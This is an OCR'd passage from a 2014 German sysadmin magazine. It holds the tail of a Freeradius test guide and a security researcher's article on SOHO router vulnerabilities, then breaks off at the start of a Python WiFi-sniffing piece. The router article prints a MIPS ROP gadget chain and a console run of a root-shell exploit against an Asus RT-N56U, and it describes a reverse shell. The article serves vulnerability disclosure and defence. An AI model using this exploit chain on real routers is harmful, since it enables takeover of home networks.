sich die Beispielkonfigurationsdatei<br />
»peap‐mschapv2.conf« unter [7]. Darin<br />
passt man die Einträge »identity« und<br />
»password« an, um einen in Freeradius<br />
angelegten User zu authentifizieren.<br />
Nun erfolgt der Test mit:<br />
eapol_test ‐c peap‐mschapv2 ‐s U<br />
Client‐Passwort<br />
Das Client-Passwort entspricht dabei<br />
dem in der Datei »clients.conf« festgelegten.<br />
In der vorgegebenen Beispielkonfiguration<br />
für »localhost« heißt es<br />
»testing123«. Nach erfolgreichem Test<br />
sollte man den »localhost«-Client wie<br />
alle nicht verwendeten Client-Einträge<br />
deaktivieren oder das Passwort ändern.<br />
Hürdenlauf<br />
Freeradius ist für die Benutzerverwaltung<br />
in der Größenordnung von<br />
Internet-Providern konzipiert worden.<br />
Die mit Freeradius paketierte Standardkonfiguration<br />
erhält damit einen<br />
großen Wert, denn sie macht den Einstieg<br />
dennoch einfach; so erhält der<br />
lokale WLAN-Hotspot statt eines gemeinsamen<br />
Passworts problemlos eine<br />
benutzerspezifische Authentifizierung<br />
und Konfiguration – WPA-Enterprise-<br />
Kompatibilität vorausgesetzt. n<br />
n Info<br />
Weiterführende Links und<br />
Informationen zu diesem<br />
Artikel finden Sie unter:<br />
www.admin-magazin.de/qr/31636<br />
[1] Freeradius: [http:// freeradius. org/]<br />
[2] Freeradius für Windows:<br />
[http:// freeradius. net/]<br />
[3] Radius-Attribute von Freeradius: [http://<br />
freeradius. org/ rfc/ attributes. html]<br />
[4] Freeradius und SQL: [http:// wiki. freeradius.<br />
org/ guide/ SQL‐HOWTO]<br />
[5] Samba: [http:// www. samba. org/]<br />
[6] Freeradius und Active Directory: [http://<br />
deployingradius. com/ documents/<br />
configuration/ active_directory. html]<br />
[7] Konfigurationsdatei für EAPOL-Test: http://<br />
deployingradius.com/scripts/eapol_test/<br />
peap‐mschapv2.conf<br />
www.admin-magazin.de<br />
Admin<br />
Ausgabe 02-2014
pixelbliss, 123RF<br />
SOHO-WLAN-Router sind durchweg unsicher<br />
Schwachstellen<br />
WLAN-Router für den SOHO-Bereich sind durch die<br />
Bank unsicher. Das ergab eine Untersuchung von<br />
mehr als einem Dutzend Geräte durch die Independent<br />
Security Evaluators (ISE). Jacob Holcomb<br />
Small- und Home-Office-WLAN-Router<br />
sind heute ein Grundbestandteil der<br />
Netzwerke von Millionen Konsumenten.<br />
Sie sind häufig der einzige Ein- und<br />
Ausgang eines Heimnetzwerks, sie<br />
verwalten Domains und die Namensauflösung,<br />
haben Firewall-Funktionen,<br />
weisen dynamisch Adressen zu und<br />
kümmern sich natürlich um das Routing.<br />
Ihre weite Verbreitung und die ins<br />
Auge gefasste Zielgruppe Computerunerfahrener<br />
Anwender erzwingt eine<br />
sehr einfache Bedienung und schlüsselfertige<br />
Lösungen.<br />
Abbildung 1: Die Liste bisher unerkannter Schwachstellen in SOHO-<br />
Routern, die die Independent Security Evaluators aufgedeckt haben.<br />
Unsere Untersuchungen haben 56<br />
bisher unbekannte Schwachstellen in<br />
SOHO-Geräten aufgedeckt (Abbildung<br />
1), was eindrucksvoll beweist, dass der<br />
große Funktionsumfang dieser Router<br />
(zum Beispiel SMB, NetBIOS, HTTP(S),<br />
FTP, UPnP und Telnet) mit erheblichen<br />
Sicherheitsproblemen erkauft wird.<br />
Die Integration besonderer Services in<br />
diese Router schafft Angriffsflächen,<br />
die böswillige Angreifer ausnutzen<br />
können, um das Betriebssystem des<br />
Routers zu kompromittieren und einen<br />
Fuß in die Tür zum Netzwerk des Opfers<br />
zu bekommen.<br />
Sobald ein Router<br />
kompromittiert<br />
wurde – egal ob im<br />
SOHO-Bereich oder anderswo<br />
– wird ihn der<br />
Angreifer benutzen,<br />
um sich eine Man-inthe-Middle-Position<br />
für<br />
ausgeklügeltere Attacken<br />
gegen alle Benutzer<br />
in der Domain des<br />
Routers zu verschaffen.<br />
Das beinhaltet Sniffing<br />
und das Umleiten des<br />
Netzwerk-Traffics, das<br />
Vergiften der DNS-<br />
Resolver, DoS-Attacken und die Übernahme<br />
von Servern. Noch schlimmer<br />
dabei ist, dass diese Router oft auch<br />
Firewalls sind und die erste und letzte<br />
Verteidigungslinie des lokalen Netzes<br />
bilden. Daher hat der Angreifer nach<br />
der Kompromittierung des Routers uneingeschränkten<br />
Zugriff auf alle lokalen<br />
Hosts, die die Firewall eigentlich hätte<br />
schützen sollen.<br />
Unsere Untersuchung bezog sich anfänglich<br />
auf 14 Router, die unter [1]<br />
aufgelistet sind.<br />
Allgemeine Probleme<br />
Unsere Untersuchung besonderer<br />
Dienste, die die Router anboten, ergab,<br />
dass sich alle Schwachstellen auf vier<br />
primäre Kategorien zurückführen ließen:<br />
n die Fehlkonfiguration der Netzwerkdienste<br />
n der Glaube an die Sicherheit des<br />
LAN<br />
n unsichere Default-Einstellungen<br />
n schlechtes Design und mangelhafte<br />
Implementierung der Sicherheitsvorkehrungen<br />
Fehlkonfiguration von Services: Diese<br />
Kategorie wird von Netzwerkdiensten<br />
bestimmt, denen sicherheitsrelevante<br />
Ausgabe 02-2014 Admin www.admin-magazin.de
Wireless Security<br />
SOHO-Router<br />
41<br />
Konfigurationsoptionen fehlen oder die unnötigerweise zu wenig<br />
restriktive Rechte nutzen. Fehlende Konfigurationsoptionen<br />
können dazu führen, dass sich Services in unbeabsichtigter<br />
Weise nutzen lassen. Beispielsweise kann es dann möglich<br />
sein, symbolischen Links in das Root-Directory des Routers zu<br />
folgen (Abbildung 2).<br />
Glaube an die LAN-Sicherheit: Im Verlauf unserer Untersuchung<br />
stellten wir fest, dass alle Router für die Übertragung<br />
sensibler Daten zu Clients im LAN keine sichere Verbindung<br />
nutzten (oder das auch nur versuchten). Alle verwendeten<br />
Web-Portale mit Passwortschutz über HTTP – eine Methode,<br />
die bekanntermaßen ohne SSL/TLS-Verschlüsselung unsicher<br />
ist. Außerdem boten alle Router Services an, denen ein sicherer<br />
Kanal oder Authentifizierungsmechanismen fehlten (etwa<br />
FTP, Telnet und SMB). Offenbar wurden die Router von vornherein<br />
unter der Annahme konstruiert, dass es niemals eine<br />
Bedrohung aus dem LAN geben kann. Folgerichtig setzten die<br />
Hersteller ihre Prioritäten auf einfache Bedienung und Funktionsvielfalt,<br />
anstatt zu versuchen, einen Ausgleich zwischen<br />
Sicherheit, Bedienbarkeit und Funktionsvielfalt zu finden (Abbildung<br />
3).<br />
Unsicher per Default: Die Integration von vielen Features und<br />
die Plug-and-Play-Geisteshaltung der Hersteller verursachen<br />
weitere Sicherheitsprobleme, weil sie die Anzahl verwundbarer<br />
Services erhöhen. Wir fanden heraus, dass alle untersuchten<br />
Router per Default unsicher waren, typischerweise wegen<br />
ungesicherter Features, wegen Nichtbeachten des Prinzips<br />
der kleinsten Rechte, wegen Unterstützung veralteter Technologien,<br />
wegen abgeschalteter Sicherheitsvorkehrungen<br />
(beispielsweise fortgeschrittener Firewall-Einstellungen) oder<br />
wegen schwacher oder öffentlich bekannter Passwörter.<br />
Schlechtes Design und Implementierungsfehler: Alle Router<br />
litten generell unter Implementierungsproblemen, am häufigsten<br />
aufgrund fehlender Überprüfung von Eingaben. Die<br />
Mehrheit der Router war angreifbar durch Attacken wie Cross-<br />
Site-Scripting, Cross-Site-Request-Forgery (CSRF), Directory-<br />
Traversal und Command-Injection (Abbildung 4).<br />
Weniger bekannte Services überprüften ihre Eingaben in der<br />
Regel unzureichend und waren für Buffer-Overflows empfänglich.<br />
Diese Dienste liefen aber per Default und konnten<br />
Abbildung 2: Wegen fehlender Konfigurationsoptionen lässt sich ein Link<br />
in das Rootverzeichnis des Routers verfolgen.<br />
vom Endbenutzer nicht abgeschaltet werden. Im Zuge<br />
der Untersuchungen erlangten wir administrative Shelloder<br />
Web-Portal-Zugänge bei allen Routern durch die<br />
Kombination von Exploits, die erkannte Schwachstellen<br />
ausnutzten. Die dabei entdeckten Buffer-Overflows,<br />
Abbildung 3: Das so genannte SFE-Triangle. Zwischen diesen widerstreitenden<br />
Zielen gilt es einen Ausgleich zu finden.<br />
www.admin-magazin.de
42<br />
Wireless Security<br />
SOHO-Router<br />
Abbildung 4: Cross-Site-Request-Forgery-Exploitation:<br />
Der Angreifer bedient sich eines Opfers, das bei<br />
der angegriffenen Web-Applikation angemeldet ist.<br />
Ihm wird böswilliger Code untergeschoben.<br />
n Listing 1: Asus RT-AC66U Roip Chain<br />
01 # ROP Gadget #1<br />
02 # lui s0,0x2<br />
03 # li a0,1<br />
04 # move t9,s1 ‐> Gadget #2<br />
05 # jalr t9<br />
06 # ori a1,s0,0x2<br />
07 <br />
08 # ROP Gadget #2<br />
09 # move t9,s3 ‐> sleep()<br />
10 # lw ra,44(sp) ‐> Gadget #3<br />
11 # lw s4,40(sp)<br />
12 # lw s3,36(sp)<br />
13 # lw s2,32(sp)<br />
14 # lw s1,28(sp)<br />
15 # lw s0,24(sp)<br />
16 # jr t9<br />
17 <br />
18 # ROP Gadget #3<br />
19 # addiu a1,sp,24<br />
20 # lw gp,16(sp)<br />
21 # lw ra,32(sp) ‐> Gadget #4<br />
22 # jr ra<br />
23 # addiu sp,sp,40<br />
24 <br />
25 # ROP Gadget #4<br />
26 # move t9,a1 ‐> Shellcode<br />
27 # addiu a0,a0,56<br />
28 # jr t9<br />
29 # mov a1,a2<br />
unpassenden Berechtigungen, Fehlkonfigurationen,<br />
unsicherer kryptografischer<br />
Speicher und webbasierten Verwundbarkeiten<br />
fanden sich in der Regel<br />
bei mehreren Routern, oft auch über<br />
Herstellergrenzen hinweg. Sie müssen<br />
als generelles Problem der SOHO-Router-Industrie<br />
angesehen werden.<br />
Überblick über die<br />
Verwundbarkeiten<br />
SOHO-Router verwenden oft Software-<br />
Packages, die verschiedene Netzwerk-<br />
Features realisieren wie WPS-Monitoring,<br />
FTP-Server und Konfiguration der<br />
drahtlosen Dienste. Durch dynamische<br />
und statische Code-Analysen fanden<br />
wir etliche solche Packages, die mit<br />
Buffer-Overflow-Attacken angreifbar<br />
waren.<br />
Ein Beispiel ist der Broadcom-ACSD-<br />
Network-Service, wie ihn der ASUS<br />
RT-AC66U und das Modell TRENDnet<br />
TEW-812DRU verwenden. Dieser Service<br />
wird für einen Scan benutzt, der<br />
802.11-Kanäle mit geringer Interferenz<br />
finden soll. Der ACSD-Service dieser<br />
Router (der an einem Port im lokalen<br />
Netz horcht), ist gleich durch mehrere<br />
unautorisierte Buffer-Overflow-Angriffe<br />
verwundbar, die auf der fehlenden<br />
Eingabe-Validierung des Service-Kommandos<br />
beruhen.<br />
Ein anderes Beispiel ist der HTTP-Service<br />
des ASUS-RT-N56U-Routers. Dieser<br />
Service dient der Konfiguration des<br />
Routers über ein Web-Portal, das die<br />
Konfiuration zusätzlicher Dienste erlaubt,<br />
etwa eines Cloud-Services oder<br />
eines automatischen Torrent-Clients. In<br />
diesem Konfigurationsprozess kann der<br />
Router auf verschiedene Weise mit Buffer-Overflows<br />
angegriffen werden. Weil<br />
die Konfiguration in der Regel Root-<br />
Rechte erfordert, erlangt der Angreifer<br />
damit die vollständige administrative<br />
Kontrolle über den Router.<br />
Wegen der MIPS-Architektur und ihrer<br />
Aufrufkonventionen kommt bei der<br />
Ausbeutung dieser Buffer-Overflows<br />
eine Technik zum Tragen, die als Return<br />
Oriented Programming (ROP) bekannt<br />
ist. ROP verändert den Programmfluss<br />
und leitet ihn auf vom Angreifer<br />
infizierten Code um, wobei kleine<br />
Programm-Sequenzen benutzt werden,<br />
die als ROP-Gadgets bekannt sind. Die<br />
Broadcom-ACSD- und die ASUS-HTTPD-<br />
Netzwerkdienste konnten auf diese<br />
Weise erfolgreich angegriffen werden.<br />
MIPS-Architektur im<br />
Überblick<br />
MIPS ist eine RISC-Architektur (Reduced<br />
Instruction Set Computer) und unterscheidet<br />
sich insofern von der bekannten<br />
x86-Familie, die auf einem Complex<br />
Instruction Set Computer (CISC) aufbaut.<br />
Wie der Name bereits andeutet,<br />
verstehen RISC-CPUs weniger Instruktionen<br />
als CISC-CPUs. Die Einfachheit<br />
des reduzierten Befehlssatzes ermöglicht<br />
eine schnellere Ausführung und<br />
damit höhere Performance. Diese an<br />
sich erwünschte Einfachheit impliziert<br />
außerdem Vorsichtsmaßnahmen, derer<br />
sich die Entwickler von Schadcode bewusst<br />
sein müssen.<br />
So ist der MIPS-Befehlssatz nicht nur<br />
kleiner, die Befehle haben auch eine<br />
feste Länge. Unabhängig von der Aufgabe<br />
sind alle Instruktionen 16 oder 32<br />
Bit lang. Diese Längenbeschränkung<br />
erschwert zunächst das Entwickeln<br />
von Exploits, weil keine Teilstücke von<br />
Kommandos als ROP-Gadgets verwendet<br />
werden können. In einer CISC-<br />
Architektur ohne feste Byte-Grenzen<br />
kann dagegen eine Instruktion eine<br />
Untermenge einer längeren Instruktion<br />
sein. Auch der Suffix einer und der<br />
Präfix einer anderen Instruktion lassen<br />
sich unter CISC-Bedingungen zu einem<br />
neuen Befehl kombinieren.<br />
Ein weiterer Unterschied ergibt sich<br />
beim Ausführen einer Sprunganweisung<br />
im Code. Dabei wird nämlich die<br />
auf die Verzweigung folgende Instruktion<br />
mit ausgeführt. Diese Beschränkung<br />
muss man beim Entwickeln von<br />
Exploits ebenfalls im Auge haben, weil<br />
die zusätzliche Instruktion einen nachteiligen<br />
Einfluss auf die Register der<br />
CPU haben kann. Wenn beispielsweise<br />
in dem folgenden kurzen Beispiel die<br />
»jalr«-Instruktion abgearbeitet wird,<br />
dann wird außerdem (»ori a1,s0,0x2«)<br />
ausgeführt. Dieser so genannte Branch<br />
Delay Slot ändert den Inhalt des A1-Registers,<br />
indem die Anweisung dort das<br />
Ergebnis der bitweisen OR-Verknüpfung<br />
ablegt.<br />
Ausgabe 02-2014 Admin www.admin-magazin.de
Wireless Security<br />
SOHO-Router<br />
43<br />
# move t9,s1<br />
# jalr t9<br />
# ori a1,s0,0x2<br />
Schließlich ist ein letzter Unterschied<br />
zur CISC-Architektur, dass Rücksprungadressen<br />
in CPU-Registern und nicht<br />
auf dem Call Stack gespeichert werden.<br />
Diese Eigenschaft erschwert ebenfalls<br />
das Entwickeln von Exploits, weil jetzt<br />
nicht nur der Stack manipuliert werden<br />
muss, sondern zusätzlich das RA-Register<br />
der CPU mit der Return Address.<br />
Return Oriented<br />
Programming (ROP)<br />
Heutzutage ist ROP eine eingeführte<br />
Technik, um Bugs auszunutzen, die<br />
den Speicher korrumpieren – beispielsweise<br />
Buffer-Overflows – und um die<br />
Data Execution Prevention (DEP) zu<br />
umgehen. Herkömmlicherweise überschreibt<br />
der Angreifer bei einem Buffer-<br />
Overflow eine legitime Rücksprungadresse<br />
auf dem Stack mit einer neuen<br />
Adresse, die dann auf böswilligen Shellcode<br />
verweist.<br />
Konzeptionell arbeitet ROP in der gleichen<br />
Weise, der Unterschied ist nur,<br />
dass die Rücksprungadresse nun mit<br />
einem Zeiger auf das erste ROP-Gadget<br />
einer Kette überschrieben wird. Diese<br />
Technik erlaubt es dem Angreifer, CPU-<br />
Register und verschiedene Speicherzellen<br />
im Memory zu ändern, noch bevor<br />
Shellcode ausgeführt wird, der ebenfalls<br />
im Speicher abgelegt wurde.<br />
Abbildung 5: Der böswillige Shellcode, den die Beispielattacke<br />
ausführt.<br />
Proof-of-Concept-Angriff<br />
Für das Verständnis des Beispiels aus<br />
Listing 1 ist die Kenntnis einiger Maschineninstruktionen<br />
nützlich:<br />
n LUI – Load upper immediate: Der<br />
konstante Wert wird 16 Bit nach<br />
links verschoben und in einem Register<br />
gespeichert. Die unteren 16 Bit<br />
sind Nullen.<br />
n ORI – Bitwise OR immediate: Bitweises<br />
Oder eines Registers mit einer<br />
Konstanten. Das Resultat wird in<br />
einem Register abgelegt.<br />
n SW – Store word: Speichert den Inhalt<br />
des angegebenen Registers an<br />
der angegebenen Adresse.<br />
n ADDI – Add immediate: Addiert den<br />
Registerinhalt mit einer vorzeichenbehafteten<br />
Konstanten und speichert<br />
das Resultat in einem Register.<br />
n JALR – Jump and link: Springt zur<br />
berechneten Adresse.<br />
Im Fall des Asus RT-AC66U ermöglichte<br />
die mangelhafte Überprüfung von<br />
Grenzen im Code und die Unmöglichkeit,<br />
Netzwerk-Services abzuschalten,<br />
den im folgenden skizzierten Angriff,<br />
der es erlaubt, beliebigen Code mit den<br />
Rechten des Eigentümers der Applikation<br />
auszuführen, was normalerweise<br />
Root ist.<br />
Der Asus RT-AC66U führt mit oder<br />
ohne angesteckten USB-Speicher einen<br />
ACSD-Service an Port TCP/5916<br />
aus. Dieser Service läuft per Default.<br />
Er lässt sich nicht deaktivieren. Der<br />
ACSD-Service ist durch einen Buffer-<br />
Overflow während der Abarbeitung der<br />
Kommandoroutine angreifbar (CVE-<br />
2013-4659). Der Angreifer verbindet<br />
sich dazu mit dem ACSD-Service und<br />
übergibt ihm einen Kommandostring,<br />
der länger ist als die fest eingestellte<br />
Puffergröße. Damit wird der Call Stack<br />
und angrenzender Speicher überschrieben.<br />
Im Ergebnis kann vom Angreifer<br />
kontrollierter Code ausgeführt werden.<br />
Die Attacke benutzt Return Oriented<br />
Programming (ROP), um die Randomisierung<br />
des Stacks zu umgehen<br />
und Cache-Inkohärenz zu vermeiden<br />
(Listing 1). Um einen kohärenten CPU-<br />
Daten-Cache zu erhalten, nutzt der<br />
Payload den Aufruf der Blocking Function<br />
»sleep()«. Das geschieht, indem<br />
zunächst im ersten Gadget der Wert 1<br />
in das A0-Register geladen wird. Das<br />
Gadget 2 lädt dann die Adresse der<br />
Sleep-Funktion in das $T9-Register<br />
und schließt danach mit einem Sprung<br />
zu $T9 ab. Das wiederum bewirkt auf<br />
dem Zielsystem einen Context Switch<br />
und solche Context Switches flushen<br />
schließlich den Data Cache in das<br />
RAM. Als nächstes stellt Gadget 3 das<br />
Stackpointer-Register »sp« so ein, dass<br />
es nach Addition einer Konstanten auf<br />
den böswilligen Shellcode verweist.<br />
Schließlich kommt noch das Gadget 4<br />
an die Reihe, dass den Programmablauf<br />
an die im Register $T9 gespeicherte<br />
Stelle verzweigen lässt, an der sich der<br />
böswillige Shellcode befindet. Dieser<br />
startet sodann mithilfe der Systemfunktion<br />
»system()« aus der Standard-<br />
C-Bibliothek einen nicht autorisierten<br />
Telnet-Server (Abbildung 5).<br />
In der gleichen Weise wie beim RT-<br />
AC66U konnten wir auch beim Asus RT-<br />
N56U beliebigen Code mit Root-Rechten<br />
ausführen. Hier war der Angriffspunkt<br />
ein immer laufender und nicht<br />
abschaltbarer HTTP-Server, der für<br />
mehrere Buffer-Overflows (CVE-2013-<br />
6343) während des Konfigurationsprozesses<br />
anfällig ist. Auch hier kann<br />
der Call Stack mit einer über langen<br />
Kommandoeingabe überschrieben<br />
werden. Wieder wurden mehrere ROP-<br />
Gadgets verwendet, um den Stack einzurichten<br />
und die Kommandoausführung<br />
auf gefährlichen Shellcode<br />
im Memory umzulenken. Im Zuge des<br />
Angriffs öffnet der angegriffene Router<br />
einen Netzwerk-Socket, verbindet sich<br />
mit Port TCP/31337 auf einer Maschine<br />
des Angreifers und führt dort eine Root-<br />
Shell aus. Anschließend kann der Angreifer<br />
direkt mit dem darunterliegenden<br />
Linux-System operieren (Listing 2).<br />
www.admin-magazin.de<br />
Admin<br />
Ausgabe 02-2014
44<br />
Wireless Security<br />
SOHO-Router<br />
n Info<br />
Weiterführende Links und<br />
Informationen zu diesem<br />
Artikel finden Sie unter:<br />
www.admin-magazin.de/qr/31635<br />
[1] Die untersuchten Router: [http:// www.<br />
securityevaluators. com/ knowledge/ case_<br />
studies/ routers/]<br />
Beständige<br />
Verwundbarkeiten<br />
Die in diesem Artikel beschriebenen<br />
Verwundbarkeiten und andere, die<br />
im Zuge der Studie gefunden wurden,<br />
können vom Anwender nicht abgestellt<br />
werden. So lassen sich die ACSD- und<br />
HTTP-Services nicht abschalten. In<br />
anderen Fällen können Angriffe auf<br />
erforderliche Dienste dazu benutzt<br />
werden, um Dienste wieder einzuschalten,<br />
die der Anwender außer Betrieb<br />
genommen hatte. Damit ergibt sich<br />
eine unvermeidliche Unsicherheit dieser<br />
Devices. So bleiben sie ein ewiges<br />
Angriffsziel – zumindest so lange, bis<br />
der Hersteller eventuell einen Patch<br />
veröffentlicht.<br />
Zur Beständigkeit der Schwachstellen<br />
kommt noch hinzu, dass alle untersuchten<br />
Router sehr benutzerunfreundliche<br />
Update-Prozesse bieten. Keiner<br />
der Router updatete sich automatisch,<br />
die meisten sendeten eine Nachricht an<br />
den Administrator, wenn Updates verfügbar<br />
waren, erforderten dann aber in<br />
einem mehrstufigen Prozess das nicht<br />
immer intuitive Flashen der Firmware.<br />
Für einen durchschnittlichen Anwender<br />
ist das Verfahren schwer verständlich,<br />
weswegen die Verwundbarkeiten in<br />
vielen Fällen auch dann bestehen bleiben,<br />
wenn der Hersteller einen Patch<br />
veröffentlicht.<br />
Schließlich kann man im Falle eines<br />
kompromittierten Routers nichts weiter<br />
tun, als das Gerät außer Betrieb<br />
zu nehmen. Alles, was der Käufer unternehmen<br />
kann, reicht nicht, um ein<br />
erfolgreiches Firmware-Update zu garantieren.<br />
Hat der Angreifer erst einmal<br />
volle Kontrolle über den Router, kann<br />
er auch ein Update vereiteln.<br />
Was kann man tun?<br />
Leider können Konsumenten nur sehr<br />
wenig tun, um die Risiken zu minimieren.<br />
Zuallererst sollte man nicht benötigte<br />
Services abschalten, Verschlüsselung<br />
benutzen und starke Passwörter<br />
verwenden.<br />
Mehr können Entwickler tun, um Buffer-Overflow-Attacken<br />
abzuwehren: Sie<br />
sollten unsichere Funktionen meiden<br />
(»strcpy«, »sprintf«, »memcpy«, »gets«)<br />
und Längenbegrenzungen prüfen, bevor<br />
sie Benutzereingaben übernehmen.<br />
Zusätzlich sollten sie Schutzmaßnahmen<br />
beim Kompilieren und Linken<br />
verwenden (ASLR, DEP, Canary/Stack<br />
Cookies, Windows safeSEH).<br />
Vor allem aber sollten Käufer Sicherheitsvorkehrungen<br />
aktiv von den<br />
Herstellern einfordern. Wenn sie mehr<br />
Sicherheit verlangen, wird sich das Verhalten<br />
der Hersteller ändern. (jcb) n<br />
n Listing 2: Angriff auf Asus RT-N56U<br />
01 Gimppy@Hak42:~/ISE/SOHO/Asus/RT_N56U$ python RT_N56U_web_<br />
sploit.py<br />
02 <br />
03 [*] Title: ASUS RT‐N56U Remote Roort Shell Exploit ‐ apps name<br />
04 [*] Discovered and Reported: October 2013<br />
05 [*] Discovered/Exploited By; Jacob Holcomb/Gimppy ‐ Security<br />
Analyst @ ISE<br />
06 [*] Contact: Twitter ‐ @rootHak42<br />
07 [*] Software Vendor: http://asus.com<br />
08 [*] Exploit/Advisory: http://securityevaluators.com, http://<br />
infosec42.blogspot.com<br />
09 [*] Softweare: httpd (Listens on TCP/80 and TCP/443)<br />
10 [*] Tested Firmware Versions: 3.0.0.4.374 979 (Other versions may<br />
be vulnerable)<br />
11 [*] CVE: ASUS RT‐N56U Buffer Overflow: CVE‐2013‐6343<br />
12 <br />
13 [*] Please enter trhe URL of the router<br />
14 >http://192.168.1.1<br />
15 <br />
16 [*] Creating network socket<br />
17 [*] Preparing to fingerprint server<br />
18 [*] Connecting to 192.168.1.1 on port 80<br />
19 [*] Sending fingerprint request<br />
20 [*] Closing network socket<br />
21 <br />
22 [!!!] Target system found in signature list ‐ Result: RT‐N56U<br />
[!!!]<br />
23 [*] Would you like to use HTTP Basic Authentication? "yes" or "no"<br />
24 >yes<br />
25 <br />
26 [!!!] You chose to use HTTP BAsich Authentication [!!!]<br />
27 <br />
28 [*] Please enter the user name for the routers HTTP Basic<br />
AUthentication:<br />
29 >admin<br />
30 <br />
31 [*] Please enter the password for the supplied user name:<br />
32 >ISE<br />
33 <br />
34 [*] Preparing mailcious web request<br />
35 [*] Sucessfully built HTTP Post request<br />
36 [*] Preparing to send Evil PAYloAd to 192.168.1.1 on port 80<br />
37 [*] Payload Length: 256<br />
38 [*] Waiting ...<br />
39 [*] Server Response: HTTP 200 OK. Get read
46<br />
Wireless Security<br />
WiFi-Security<br />
Joachim Wendler , 123RF<br />
WLAN-Sicherheit mit Python-Skripten erforschen<br />
Lauschangriff<br />
WiFi ist heute allgegenwärtig. Es steckt nicht nur im heimischen WLAN-Router oder in so gut wie jedem<br />
Smartphone, auch in Werbetafeln und Überwachungskameras, in der Abfahrtszeitenanzeige an Haltestellen<br />
und sogar in Medizintechnik. Wenige Zeilen Python reichen, um der Sicherheit dieser Anwendungen<br />
auf den Zahn zu fühlen. Bastian Ballmann<br />
WLAN-Netze (802.11) funken abhängig<br />
vom Standard auf den Frequenzen 2,4,<br />
3,6 oder 5 GHz. Am weitesten verbreitet<br />
sind 2,4-GHz-Netze. Dieses Frequenzband<br />
ist dabei je nach Region weiter<br />
in Channel unterteilt. Das WLAN-Netz<br />
lässt sich entweder im Ad-hoc- oder im<br />
Infrastruktur-Modus betreiben. Ad-hoc<br />
bedeutet, dass zwei oder mehr Stationen<br />
direkt miteinander kommunizieren<br />
wollen. Beim Infrastruktur-Modus dient<br />
dagegen ein sogenannter Accesspoint<br />
als Vermittler. Damit ergibt sich hier<br />
eine sternförmige Topologie, in der<br />
der Accesspoint ähnlich wie ein Switch<br />
im Ethernet-Netzwerk agiert. Dieser<br />
Infrastruktur-Modus ist für WLAN-Netze<br />
der Normalfall.<br />
Ein paar Grundlagen<br />
Ein Client hat verschiedene Möglichkeiten,<br />
um sich über verfügbare Netze<br />
zu informieren. Eine Informationsquelle<br />
sind die Beacon-Frames, die der<br />
Accesspoint alle paar Millisekunden<br />
sendet. Jeder dieser Frames enthält<br />
Informationen wie die SSID (also den<br />
Netzwerknamen), die unterstützten<br />
Übertragungsraten und optional noch<br />
weitere Daten wie den verwendeten<br />
Channel und eingesetzte Sicherheitsmechanismen.<br />
Der Client kann aber auch selbst<br />
aktiv werden und sogenannte Probe-<br />
Requests verschicken. Dabei fragt er<br />
entweder explizit nach Netzen, mit<br />
denen er schon mal verbunden war,<br />
oder er verwendet ein Nullbyte als<br />
SSID (Broadcast-SSID). Der Accesspoint<br />
antwortet darauf mit einem Probe-<br />
Response-Paket.<br />
Das Protokoll 802.11 unterscheidet drei<br />
verschiedene Arten von Paketen oder<br />
Abbildung 1: Der Header eines IEEE-<br />
802.11-Frames.<br />
Ausgabe 02-2014 Admin www.admin-magazin.de
Wireless Security<br />
WiFi-Security<br />
47<br />
kunden selbst keinerlei Pakete senden<br />
werden, um Kollisionen zu vermeiden.<br />
Die Destination-Address beinhaltet<br />
die MAC-Adresse der Station, die das<br />
Paket letztendlich erhalten soll. In der<br />
Source-Address steht die Adresse, die<br />
das Paket gesendet hat, und die Receiving-Station-Address<br />
entspricht der Adresse<br />
des Accesspoints oder der Bridge,<br />
die das Paket weiterleiten soll.<br />
Anschließend folgt der Sequence-<br />
Control-Header, der aus einer Fragment-<br />
und einer Sequence-Nummer<br />
besteht. Jedes Datenpaket in einem<br />
802.11-Netzwerk erhält eine eindeutige<br />
Sequence-Nummer. Diese Nummer<br />
wird nicht wie bei TCP per Byte erhöht,<br />
sondern nur per Datenpaket um eins<br />
hochgezählt. Pakete, die zu groß sind<br />
und deswegen in kleinere Fragmente<br />
zerlegt werden, erhalten eine eindeutige<br />
Fragment-Nummer beginnend bei<br />
null. Anders als bei TCP dient die Sequence-Nummer<br />
nicht zum Bestätigen<br />
der Pakete, sondern nur zum Filtern<br />
von Duplikaten.<br />
802.11 sendet Pakete im Ping-Pong-<br />
Verfahren. Jedes gesendete Paket<br />
n Listing 1: Mode-Wechsel<br />
n Tabelle 1: Management-Frame-Subtypes<br />
Nr. Name<br />
0 Association Request<br />
1 Association Response<br />
2 Reassociation Request<br />
3 Reassociation Response<br />
4 Probe Request<br />
5 Probe Response<br />
8 Beacon<br />
9 Announcement Traffic Indication Message<br />
10 Disassociation<br />
11 Authentication<br />
12 Deauthentication<br />
13 Action<br />
Frames, nämlich die Typen Management,<br />
Data und Control. Abbildung 1<br />
zeigt den schematischen Aufbau eines<br />
solchen Frames. Der Typ Management<br />
beinhaltet Pakete wie Beacons, Probe-<br />
Requests und Responses sowie (De-)<br />
Authentication und (De-)Assocciation.<br />
Der Typ Data enthält die eigentlichen<br />
Daten. Control-Pakete dienen dazu, die<br />
Reservierung des Mediums zu steuern<br />
sowie den Erhalt der Daten-Pakete zu<br />
bestätigen.<br />
Der Frame-Control-Header eines Pakets<br />
definiert mithilfe von Typ und Subtyp,<br />
um was für ein Paket es sich handelt.<br />
Management-Frames haben den Typ<br />
0, Control-Frames den Typ 1 und Data-<br />
Frames den Typ 2. Die Bedeutung der<br />
jeweiligen Management-Frame-Subtypen<br />
zeigt die Tabelle 1. Sie können<br />
als Filter in Wireshark sehr nützlich<br />
sein: Zum Beispiel unterdrückt man<br />
mit »wlan.fc.subtype!=8« alle Beacon-<br />
Frames.<br />
Der Duration-Header wird vorwiegend<br />
dazu verwendet, anzuzeigen,<br />
wie viele Mikrosekunden das Medium<br />
nach diesem Paket noch belegt ist. Die<br />
Control-Frames Request-to-Send (RTS)<br />
und Clear-to-Send (CTS) dienen dazu,<br />
das Medium zu reservieren. Eine Station,<br />
die viele Daten senden will, kann<br />
vorher ein RTS-Paket mit gesetztem<br />
Duration-Header senden. Andere Stationen<br />
werden bei Erhalt eines solchen<br />
Pakets mit einem CTS-Paket antworten<br />
und damit anzeigen, dass sie während<br />
der Dauer von soundso vielen Mikrosebraucht<br />
erst eine Bestätigung, bevor<br />
das nächste Paket gesendet werden<br />
kann. Das gilt auch für einzelne Fragmente.<br />
Nicht bestätigte Pakete werden<br />
nach einer kurzen Wartezeit wieder<br />
gesendet (mit um eins erhöhtem<br />
Retry-Bit, das ebenfalls Bestandteil des<br />
Frame-Control-Headers ist).<br />
Ein kleiner Sniffer<br />
Einen ersten Eindruck, welche Informationen<br />
